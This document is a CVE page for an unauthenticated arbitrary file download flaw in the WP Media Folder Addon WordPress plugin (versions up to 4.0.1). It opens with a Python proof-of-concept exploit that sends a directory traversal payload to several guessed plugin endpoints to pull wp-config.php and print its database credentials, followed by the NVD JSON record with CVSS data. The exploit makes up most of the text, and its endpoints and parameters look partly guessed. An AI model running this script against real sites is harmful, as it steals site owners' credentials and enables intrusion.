CVE-2026-9690

# CVE-2026-9690 - WP Media Folder Addon Unauthenticated Arbitrary File Download PoC # Affected: WP Media Folder Addon <= 4.0.1 # Type: Arbitrary File Download (Unauthenticated) import requests import sys # Target configuration TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" FILE_TO_DOWNLOAD = sys.argv[2] if len(sys.argv) > 2 else "../../../wp-config.php" # Common vulnerable endpoints in WP Media Folder Addon plugin endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/wpmfa/v1/download", "/wp-content/plugins/wp-media-folder-addon/includes/download.php" ] def exploit_arbitrary_file_download(target_url, file_path, endpoint): """ Exploit arbitrary file download vulnerability by sending crafted request with directory traversal payload to the vulnerable endpoint. """ params = { "action": "wpmfa_download_file", "file": file_path, "path": file_path } try: response = requests.get( f"{target_url}{endpoint}", params=params, timeout=10, verify=False ) if response.status_code == 200 and len(response.content) > 0: # Check if response contains PHP config markers (indicating successful wp-config.php download) if b"DB_NAME" in response.content or b"<?php" in response.content: print(f"[+] Vulnerability confirmed! File downloaded successfully via {endpoint}") print(f"[+] Content preview:\n{response.text[:500]}") return True return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Attempting to download: {FILE_TO_DOWNLOAD}") for endpoint in endpoints: print(f"\n[*] Trying endpoint: {endpoint}") if exploit_arbitrary_file_download(TARGET_URL, FILE_TO_DOWNLOAD, endpoint): print("[+] Exploit successful!") sys.exit(0) print("[-] Exploit failed - target may not be vulnerable")

{"cve": {"id": "CVE-2026-9690", "sourceIdentifier": "[email protected]", "published": "2026-06-17T13:21:35.147", "lastModified": "2026-06-17T17:17:28.293", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated Arbitrary File Download in WP Media folder Addon <= 4.0.1 versions."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Joomunited", "product": "WP Media folder Addon", "defaultStatus": "unaffected", "collectionURL": "https://wordpress.org/plugins", "packageName": "wp-media-folder-addon", "versions": [{"version": "n/a", "lessThanOrEqual": "4.0.1", "versionType": "custom", "status": "affected", "changes": [{"at": "4.0.2", "status": "unaffected"}]}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-17T15:19:49.863474Z", "id": "CVE-2026-9690", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wp-media-folder-addon/vulnerability/wordpress-wp-media-folder-addon-plugin-4-0-1-arbitrary-file-download-vulnerability?_s_id=cve", "source": "[email protected]"}]}}